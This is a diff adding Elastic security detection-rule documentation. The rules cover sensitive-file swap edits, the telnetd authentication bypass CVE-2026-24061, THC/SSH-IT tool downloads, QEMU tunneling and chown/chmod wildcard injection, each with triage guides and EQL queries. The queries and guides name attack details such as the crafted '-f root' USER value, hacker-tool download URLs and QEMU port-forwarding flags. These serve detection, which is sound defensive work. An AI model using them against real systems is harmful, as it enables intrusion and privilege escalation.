b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-suspicious-file-edit.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-potential-suspicious-file-edit]] +=== Potential Suspicious File Edit + +This rule monitors for the potential edit of a suspicious file. In Linux, when editing a file through an editor, a temporary .swp file is created. By monitoring for the creation of this .swp file, we can detect potential file edits of suspicious files. The execution of this rule is not a clear sign of the file being edited, as just opening the file through an editor will trigger this event. Attackers may alter any of the files added in this rule to establish persistence, escalate privileges or perform reconnaisance on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Suspicious File Edit* + + +In Linux environments, text editors create temporary swap files (.swp) during file editing. Adversaries exploit this by editing critical system files to maintain persistence or escalate privileges. The detection rule identifies the creation of .swp files in sensitive directories, signaling potential unauthorized file edits, thus alerting analysts to investigate further. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name of the .swp file that triggered the alert, focusing on the directories and files listed in the query. +- Check the system logs and recent user activity to determine if there was any legitimate reason for editing the file, such as a scheduled maintenance or update. +- Investigate the user account associated with the file creation event to verify if the user has the necessary permissions and if their activity aligns with their role. +- Examine the contents of the original file (if accessible) and compare it with known baselines or backups to identify any unauthorized changes or anomalies. +- Look for other suspicious activities on the host, such as unusual login attempts, privilege escalation events, or the presence of other temporary files in sensitive directories. +- Assess the system for signs of persistence mechanisms or privilege escalation attempts, especially if the .swp file is associated with critical system files like /etc/shadow or /etc/passwd. + + +*False positive analysis* + + +- Editing non-sensitive files in monitored directories can trigger alerts. Users can create exceptions for specific directories or files that are frequently edited by authorized personnel. +- System administrators performing routine maintenance or updates may inadvertently create .swp files in sensitive directories. Implementing a whitelist for known maintenance activities can reduce false positives. +- Automated scripts or applications that open files in monitored directories for legitimate purposes can cause alerts. Identifying and excluding these processes from monitoring can help manage false positives. +- Developers working on configuration files in their home directories might trigger alerts. Excluding specific user directories or known development environments can mitigate these occurrences. +- Regular system updates or package installations might create temporary .swp files. Monitoring these activities and correlating them with update schedules can help distinguish between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the creation of the .swp files in sensitive directories to halt any ongoing malicious activity. +- Restore the affected files from a known good backup to ensure system integrity and remove any unauthorized changes. +- Conduct a thorough review of user accounts and permissions, especially those with elevated privileges, to identify and revoke any unauthorized access. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to edit critical files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Review and update system hardening measures, such as file permissions and access controls, to prevent similar incidents in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event") and file.extension == "swp" and +file.path : ( + /* common interesting files and locations */ + "/etc/.shadow.swp", "/etc/.shadow-.swp", "/etc/.shadow~.swp", "/etc/.gshadow.swp", "/etc/.gshadow-.swp", + "/etc/.passwd.swp", "/etc/.pwd.db.swp", "/etc/.master.passwd.swp", "/etc/.spwd.db.swp", "/etc/security/.opasswd.swp", + "/etc/.environment.swp", "/etc/.profile.swp", "/etc/sudoers.d/.*.swp", "/etc/ld.so.conf.d/.*.swp", + "/etc/init.d/.*.swp", "/etc/.rc.local.swp", "/etc/rc*.d/.*.swp", "/dev/shm/.*.swp", "/etc/update-motd.d/.*.swp", + "/usr/lib/update-notifier/.*.swp", + + /* service, timer, want, socket and lock files */ + "/etc/systemd/system/.*.swp", "/usr/local/lib/systemd/system/.*.swp", "/lib/systemd/system/.*.swp", + "/usr/lib/systemd/system/.*.swp","/home/*/.config/systemd/user/.*.swp", "/run/.*.swp", "/var/run/.*.swp/", + + /* profile and shell configuration files */ + "/home/*.profile.swp", "/home/*.bash_profile.swp", "/home/*.bash_login.swp", "/home/*.bashrc.swp", "/home/*.bash_logout.swp", + "/home/*.zshrc.swp", "/home/*.zlogin.swp", "/home/*.tcshrc.swp", "/home/*.kshrc.swp", "/home/*.config.fish.swp", + "/root/*.profile.swp", "/root/*.bash_profile.swp", "/root/*.bash_login.swp", "/root/*.bashrc.swp", "/root/*.bash_logout.swp", + "/root/*.zshrc.swp", "/root/*.zlogin.swp", "/root/*.tcshrc.swp", "/root/*.kshrc.swp", "/root/*.config.fish.swp" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc new file mode 100644 index 0000000000..56fe6e2cb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-potential-telnet-authentication-bypass-cve-2026-24061]] +=== Potential Telnet Authentication Bypass (CVE-2026-24061) + +Identifies potential exploitation of a Telnet remote authentication bypass vulnerability (CVE-2026-24061) in GNU Inetutils telnetd. The vulnerability allows unauthenticated access by supplying a crafted `-f ` value via the `USER` environment variable, resulting in a login process spawned with elevated privileges. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/ +* https://security-tracker.debian.org/tracker/CVE-2026-24061 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Telnet Authentication Bypass (CVE-2026-24061)* + + +CVE-2026-24061 is a critical authentication bypass vulnerability affecting `telnetd` in GNU Inetutils. By supplying a +crafted `-f root` value through the USER environment variable, a remote attacker can bypass authentication and gain +unauthorized root-level access. This exploit results in the `login` process being executed with attacker-controlled +arguments, typically spawned by `telnetd` or via `xinetd`. + +This rule detects suspicious `login` executions associated with Telnet services that include the `-f` flag, which +forces authentication as a specified user and is indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for the suspicious `login` process. + - Confirm whether `login` was spawned by `telnetd` or indirectly via `xinetd`. + - Review the command-line arguments passed to `login`, paying special attention to the presence of `-f` and any + attempts to authenticate as `root` or other privileged users. +- Validate whether the Telnet service is expected to be running on the affected host. + - Telnet is deprecated and should rarely be exposed or enabled in modern environments. +- Investigate post-authentication activity originating from the compromised session. + - Look for command execution, file modifications, privilege escalation attempts, or persistence mechanisms. + - Review network connections initiated after the suspicious login event. +- Check for additional alerts or suspicious activity on the same host within the past 48 hours. +- Determine whether the system is running a vulnerable version of GNU Inetutils telnetd. + + +*False positive analysis* + + +- Legitimate use of the `-f` flag with `login` is extremely rare and typically restricted to trusted, local workflows. +- False positives may occur in highly customized or legacy environments where Telnet is still in use. +- Any benign occurrences should be carefully validated and documented before adding exceptions. + + +*Related Rules* + + +- Telnet Authentication Bypass via User Environment Variable - "eb3150eb-e9fb-4a64-a0fc-aa66cdd35632" + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement. +- Terminate suspicious Telnet sessions and collect volatile forensic data where possible. +- Investigate for signs of credential access, persistence, or follow-on exploitation. +- Patch or upgrade GNU Inetutils to a version that addresses CVE-2026-24061. +- Disable the Telnet service entirely if it is not explicitly required. +- Enforce the use of secure alternatives such as SSH for remote administration. +- Rotate credentials for any accounts that may have been exposed or accessed. +- Perform a full system integrity review and antimalware scan. +- Update hardening, monitoring, and logging policies to improve detection of legacy remote access abuse. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and + process.name == "login" and process.parent.name in ("telnetd", "xinetd") and process.args : "-*f*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-thc-tool-downloaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-thc-tool-downloaded.asciidoc new file mode 100644 index 0000000000..5453b453fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-thc-tool-downloaded.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-potential-thc-tool-downloaded]] +=== Potential THC Tool Downloaded + +Identifies processes that are capable of downloading files with command line arguments containing URLs to SSH-IT's autonomous SSH worm. This worm intercepts outgoing SSH connections every time a user uses ssh. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thc.org/ssh-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential THC Tool Downloaded* + + +The Hacker's Choice is a suite of hacker tools that are frequently used by threat actors. One common tool is SSH-IT, which is an autonomous worm that exploits SSH connections to propagate across networks. It hijacks outgoing SSH sessions, allowing adversaries to move laterally within a compromised environment. Attackers often use tools like curl or wget to download the worm from specific URLs. The detection rule identifies these download attempts by monitoring process activities on Linux systems, focusing on command-line arguments that match known malicious URLs, thereby alerting security teams to potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (either curl or wget) and the URL involved in the download attempt to confirm it matches one of the known malicious URLs listed in the query. +- Check the process execution context, including the user account under which the process was executed, to determine if it was initiated by a legitimate user or potentially compromised account. +- Investigate the source IP address and hostname of the affected Linux system to understand its role within the network and assess the potential impact of lateral movement. +- Examine the system's SSH logs to identify any unusual or unauthorized SSH connections that may indicate further compromise or lateral movement attempts. +- Analyze the network traffic logs for any outbound connections to the identified malicious URLs to confirm whether the download attempt was successful and if any additional payloads were retrieved. +- Review historical alerts and logs for any previous similar activities on the same host or user account to identify patterns or repeated attempts that may indicate a persistent threat. + + +*False positive analysis* + + +- Legitimate administrative tasks using curl or wget to download files from the internet may trigger the rule. To manage this, security teams can create exceptions for specific URLs or IP addresses known to be safe and frequently accessed by administrators. +- Automated scripts or cron jobs that use curl or wget to download updates or configuration files from trusted internal or external sources might be flagged. Users can whitelist these scripts or the specific URLs they access to prevent unnecessary alerts. +- Development or testing environments where developers frequently download open-source tools or libraries using curl or wget could generate false positives. Implementing a policy to exclude these environments from the rule or setting up a separate monitoring profile for them can help reduce noise. +- Security tools or monitoring solutions that use curl or wget for health checks or data collection might be mistakenly identified. Identifying these tools and excluding their known benign activities from the rule can help maintain focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement by the SSH-IT worm. +- Terminate any suspicious processes identified as using curl or wget with the malicious URLs to stop the download and execution of the worm. +- Conduct a thorough scan of the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any instances of the SSH-IT worm. +- Review and reset credentials for any SSH accounts that may have been compromised, ensuring the use of strong, unique passwords and considering the implementation of multi-factor authentication (MFA). +- Analyze network logs and SSH access logs to identify any lateral movement or unauthorized access attempts, and take steps to secure any other potentially compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update firewall and intrusion detection/prevention system (IDS/IPS) rules to block the known malicious URLs and monitor for any future attempts to access them. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("curl", "wget") and process.args : ( + "https://github.com/hackerschoice/*", "https://thc.org/*", "http://nossl.segfault.net/*", "https://gsocket.io/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-traffic-tunneling-using-qemu.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-traffic-tunneling-using-qemu.asciidoc new file mode 100644 index 0000000000..629d281f5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-traffic-tunneling-using-qemu.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-potential-traffic-tunneling-using-qemu]] +=== Potential Traffic Tunneling using QEMU + +Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securelist.com/network-tunneling-with-qemu/111803/ +* https://blog.xpnsec.com/bring-your-own-vm-mac-edition/ +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Traffic Tunneling using QEMU* + + +QEMU is a legitimate virtualization and emulation platform used for system testing and development. However, its advanced networking features can be abused to tunnel network traffic, forward ports, and create covert communication channels between systems. The detection rule identifies suspicious QEMU executions using networking-related arguments that are commonly associated with traffic forwarding and tunneling behavior. + + +*Possible investigation steps* + + +- Review the process command line for the presence of networking arguments such as `-netdev`, `hostfwd=`, `connect=`, `restrict=off`, and `-nographic`. +- Confirm whether QEMU is legitimately installed and expected to run on the affected system. +- Check the parent process to determine how QEMU was launched and whether the execution chain appears suspicious. +- Investigate the user account and host context to assess whether virtualization activity is normal for that environment. +- Analyze related network activity for signs of traffic forwarding, tunneling, or unauthorized external connections. +- Correlate the event with other telemetry (process creation, persistence mechanisms, or VM artifacts) for additional context. + + +*False positive analysis* + + +- Legitimate developer or research environments using QEMU for virtualization and testing may trigger this rule. +- Approved lab systems, malware analysis sandboxes, or CI/CD pipelines may use similar networking configurations. +- Internal training or testing environments may generate similar activity. + + +*Response and remediation* + + +- Isolate the affected system and terminate unauthorized QEMU processes. +- Investigate for signs of lateral movement or command-and-control activity. +- Remove unauthorized VM images, configurations, and persistence mechanisms. +- Rotate credentials and assess scope of impact if tunneling activity is confirmed. +- Escalate to the SOC or incident response team for further investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.args : "-netdev" and + ( + (process.args : "-nographic" and process.command_line : "*connect=*" and process.command_line : "*restrict=off*") or + process.command_line : "*hostfwd=*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc new file mode 100644 index 0000000000..b1ca80ed70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-potential-unauthorized-access-via-wildcard-injection-detected]] +=== Potential Unauthorized Access via Wildcard Injection Detected + +This rule monitors for the execution of the "chown" and "chmod" commands with command line flags that could indicate a wildcard injection attack. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/papers/33930 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Unauthorized Access via Wildcard Injection Detected* + + +In Linux environments, commands like `chown` and `chmod` are used to change file ownership and permissions. Adversaries may exploit wildcard characters in these commands to escalate privileges or access sensitive data by executing unintended operations. The detection rule identifies suspicious use of these commands with recursive flags and wildcard references, signaling potential misuse aimed at privilege escalation or unauthorized data access. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "chown" or "chmod" command with the "-R" flag and wildcard usage in the arguments, as indicated by the query fields process.name, process.args, and event.action. +- Examine the user account associated with the process execution to determine if it has the necessary permissions to perform such operations and assess if the account has been compromised. +- Check the command execution history and related logs to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern or unauthorized access attempts. +- Investigate the source and destination of the command execution by analyzing network logs and connections to determine if the activity originated from a known or unknown IP address or host. +- Correlate this event with other alerts or anomalies in the system to identify potential patterns or coordinated attacks, focusing on privilege escalation or credential access attempts as suggested by the rule's tags and threat information. + + +*False positive analysis* + + +- Routine administrative tasks using chown or chmod with recursive flags may trigger the rule. To manage this, identify and whitelist specific scripts or users that regularly perform these tasks without security risks. +- Automated system maintenance processes that involve changing file permissions or ownership across directories can be mistaken for malicious activity. Exclude these processes by specifying their command patterns or associated user accounts in the monitoring system. +- Backup operations that involve copying and setting permissions on large sets of files might be flagged. To prevent this, configure exceptions for known backup tools or scripts that use these commands in a controlled manner. +- Development environments where developers frequently change file permissions for testing purposes can generate false positives. Implement user-based exceptions for development teams to reduce unnecessary alerts. +- System updates or package installations that modify file permissions as part of their normal operation may be detected. Create exceptions for trusted package managers or update processes to avoid false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as running the `chown` or `chmod` commands with wildcard injections to halt potential privilege escalation activities. +- Conduct a thorough review of system logs and command histories to identify any unauthorized changes made to file permissions or ownership and revert them to their original state. +- Reset credentials and review access permissions for users on the affected system to ensure no unauthorized access persists. +- Implement file integrity monitoring to detect unauthorized changes to critical files and directories in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update and patch the affected system to address any vulnerabilities that may have been exploited during the attack, ensuring all security updates are applied. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("chown", "chmod") and process.args == "-R" and process.args : "--reference=*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference 